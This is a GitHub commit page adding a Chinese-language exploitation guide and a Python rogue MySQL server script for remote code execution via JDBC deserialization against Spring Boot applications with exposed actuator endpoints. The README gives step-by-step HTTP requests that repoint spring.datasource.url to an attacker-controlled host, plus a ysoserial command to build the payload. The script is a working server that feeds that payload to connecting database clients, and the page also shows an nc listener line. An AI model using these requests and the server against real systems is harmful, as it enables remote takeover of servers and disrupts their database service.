Skip to content

Commit 7ce2a1b

Browse files
committed
add springboot-jdbc-deserialization-rce script
1 parent 918b2b5 commit 7ce2a1b

File tree

2 files changed

+220
-3
lines changed

2 files changed

+220
-3
lines changed

README.md

+118-3
Original file line numberDiff line numberDiff line change
@@ -485,7 +485,7 @@ nc -lvp 443
485485

486486
##### 步骤五:发送恶意 payload
487487

488-
根据实际情况修改 [springboot-realm-jndi-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py) 脚本中的目标地址,RMI 地址、端口等信息,使用 python 在自己控制的服务器上运行以上的脚本即可
488+
根据实际情况修改 [springboot-realm-jndi-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py) 脚本中的目标地址,RMI 地址、端口等信息,然后在自己控制的服务器上运行
489489

490490

491491

@@ -519,7 +519,7 @@ nc -lvp 443
519519

520520
##### 步骤一:设置 spring.datasource.hikari.connection-test-query 属性
521521

522-
> 注意:下面payload 中的 'T5' 方法每一次执行命令后都需要更换名称 (如 T6) ,然后才能被重新创建使用,否则下次 restart 重启应用时漏洞不会被触发
522+
> ⚠️ 下面payload 中的 'T5' 方法每一次执行命令后都需要更换名称 (如 T6) ,然后才能被重新创建使用,否则下次 restart 重启应用时漏洞不会被触发
523523
524524

525525

@@ -580,10 +580,125 @@ Content-Type: application/json
580580

581581

582582

583-
### 0x07:jdbc url deserialization RCE
583+
### 0x07:mysql jdbc deserialization RCE
584+
585+
#### **利用条件:**
586+
587+
- 可以 POST 请求目标网站的 `/env` 接口设置属性
588+
- 可以 POST 请求目标网站的 `/refresh` 接口刷新配置(存在 spring-boot-starter-actuator 组件)
589+
- 目标环境中存在 `mysql-connector-java` 依赖
590+
- 目标可以请求攻击者的服务器(请求可出外网)
591+
592+
593+
594+
#### **利用方法:**
595+
596+
##### 步骤一:查看环境依赖
597+
598+
GET 请求 `/env``/actuator/env`,搜索环境变量(classpath)中是否有 `mysql-connector-java` 关键词,并记录下其版本号(5.x 或 8.x);
599+
600+
搜索并观察环境变量中是否存在常见的反序列化 gadget,比如 `commons-collections``Jdk7u21``Jdk8u20` 等;
601+
602+
搜索 `spring.datasource.url` 关键词,记录下其 `value` 值,方便后续恢复其正常 jdbc url 值。
603+
604+
605+
606+
##### 步骤二:架设恶意 rogue mysql server
607+
608+
在自己控制的服务器上运行 [springboot-jdbc-deserialization-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py) 脚本,并在使用 [ysoserial](https://github.com/frohoff/ysoserial) ,自定义要执行的命令:
609+
610+
```bash
611+
java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
612+
```
613+
614+
在脚本**同目录下**生成 `payload.ser` 反序列化 payload 文件,供脚本使用。
615+
584616

585617

618+
##### 步骤三:设置 spring.datasource.url 属性
586619

620+
> ⚠️ 修改此属性会暂时导致网站所有的正常数据库操作不可用,会对业务造成影响,请谨慎使用!
621+
622+
623+
624+
mysql-connector-java 5.x 版本设置**属性值**为:
625+
626+
```
627+
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
628+
```
629+
630+
mysql-connector-java 8.x 版本设置**属性值**为:
631+
632+
```
633+
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
634+
```
635+
636+
637+
638+
spring 1.x
639+
640+
```
641+
POST /env HTTP/1.1
642+
Content-Type: application/x-www-form-urlencoded
643+
644+
spring.datasource.url=对应属性值
645+
```
646+
647+
spring 2.x
648+
649+
```
650+
POST /actuator/env HTTP/1.1
651+
Content-Type: application/json
652+
653+
{"name":"spring.datasource.url","value":"对应属性值"}
654+
```
655+
656+
657+
658+
##### 步骤四:刷新配置
659+
660+
spring 1.x
661+
662+
```
663+
POST /refresh HTTP/1.1
664+
Content-Type: application/x-www-form-urlencoded
665+
666+
```
667+
668+
spring 2.x
669+
670+
```
671+
POST /actuator/refresh HTTP/1.1
672+
Content-Type: application/json
673+
674+
```
675+
676+
677+
678+
##### 步骤五:触发数据库查询
679+
680+
尝试访问网站已知的数据库查询的接口,例如: `/product/list` ,或者寻找其他方式,主动触发源网站进行数据库查询,然后漏洞会被触发
681+
682+
683+
684+
##### 步骤六:恢复正常 jdbc url
685+
686+
反序列化漏洞利用完成后,使用 **步骤三** 的方法恢复 **步骤一** 中记录的 `spring.datasource.url` 的原始 `value`
687+
688+
689+
690+
#### **漏洞原理:**
691+
692+
1. spring.datasource.url 属性被设置为外部恶意 mysql jdbc url 地址
693+
2. refresh 刷新后设置了一个新的 spring.datasource.url 属性值
694+
3. 当网站进行数据库查询等操作时,会尝试使用恶意 mysql jdbc url 建立新的数据库连接
695+
4. 然后恶意 mysql server 就会在建立连接的合适阶段返回反序列化 payload 数据
696+
5. 目标依赖的 mysql-connector-java 就会反序列化设置好的 gadget,造成 RCE 漏洞
697+
698+
699+
700+
#### **漏洞分析:**
587701

702+
[New-Exploit-Technique-In-Java-Deserialization-Attack](https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf)
588703

589704

Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
#!/usr/bin/env python
2+
# coding: utf-8
3+
# -**- Author: LandGrey -**-
4+
5+
import os
6+
import socket
7+
import binascii
8+
9+
10+
def server_send(conn, payload):
11+
global count
12+
count += 1
13+
print("[*] Package order: {}, Send: {}".format(count, payload))
14+
conn.send(binascii.a2b_hex(payload))
15+
16+
17+
def server_receive(conn):
18+
global count, BUFFER_SIZE
19+
20+
count += 1
21+
data = conn.recv(BUFFER_SIZE)
22+
print("[*] Package order: {}, Receive: {}".format(count, data))
23+
return str(data).lower()
24+
25+
26+
def run_mysql_server():
27+
global count, deserialization_payload
28+
29+
while True:
30+
count = 0
31+
conn, addr = server_socks.accept()
32+
print("[+] Connection from client -> {}:{}".format(addr[0], addr[1]))
33+
greeting = '4a0000000a352e372e323900160000006c7a5d420d107a7700ffff080200ffc11500000000000000000000566d1a0a796d3e1338313747006d7973716c5f6e61746976655f70617373776f726400'
34+
server_send(conn, greeting)
35+
if os.path.isfile(deserialization_file):
36+
with open(deserialization_file, 'rb') as _f:
37+
deserialization_payload = binascii.b2a_hex(_f.read())
38+
while True:
39+
# client auth
40+
server_receive(conn)
41+
server_send(conn, response_ok)
42+
43+
# client query
44+
data = server_receive(conn)
45+
if "session.auto_increment_increment" in data:
46+
_payload = '01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c210009000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000f90000150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013007343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e035554430653595354454d0f52455045415441424c452d5245414405323838303007000016fe000002000200'
47+
server_send(conn, _payload)
48+
data = server_receive(conn)
49+
if "show warnings" in data:
50+
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
51+
server_send(conn, _payload)
52+
data = server_receive(conn)
53+
if "set names" in data:
54+
server_send(conn, response_ok)
55+
data = server_receive(conn)
56+
if "set character_set_results" in data:
57+
server_send(conn, response_ok)
58+
data = server_receive(conn)
59+
if "show session status" in data:
60+
_data = '0100000102'
61+
_data += '2700000203646566056365736869046f626a73046f626a730269640269640c3f000b000000030000000000'
62+
_data += '2900000303646566056365736869046f626a73046f626a73036f626a036f626a0c3f00ffff0000fc9000000000'
63+
_payload_hex = str(hex(len(deserialization_payload)/2)).replace('0x', '').zfill(4)
64+
_payload_length = _payload_hex[2:4] + _payload_hex[0:2]
65+
_data_hex = str(hex(len(deserialization_payload)/2 + 5)).replace('0x', '').zfill(6)
66+
_data_lenght = _data_hex[4:6] + _data_hex[2:4] + _data_hex[0:2]
67+
_data += _data_lenght + '04' + '0131fc' + _payload_length + deserialization_payload
68+
_data += '07000005fe000022000100'
69+
server_send(conn, _data)
70+
data = server_receive(conn)
71+
if "show warnings" in data:
72+
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
73+
server_send(conn, _payload)
74+
75+
break
76+
try:
77+
conn.close()
78+
except Exception as e:
79+
pass
80+
81+
82+
if __name__ == "__main__":
83+
HOST = "0.0.0.0"
84+
PORT = 3306
85+
86+
deserialization_file = r'payload.ser'
87+
if os.path.isfile(deserialization_file):
88+
with open(deserialization_file, 'rb') as f:
89+
deserialization_payload = binascii.b2a_hex(f.read())
90+
else:
91+
deserialization_payload = 'aced****(your deserialized hex data)'
92+
93+
count = 0
94+
BUFFER_SIZE = 1024
95+
response_ok = '0700000200000002000000'
96+
print("[+] rogue mysql server Listening on {}:{}".format(HOST, PORT))
97+
server_socks = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
98+
server_socks.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
99+
server_socks.bind((HOST, PORT))
100+
server_socks.listen(1)
101+
102+
run_mysql_server()

0 commit comments

Comments
 (0)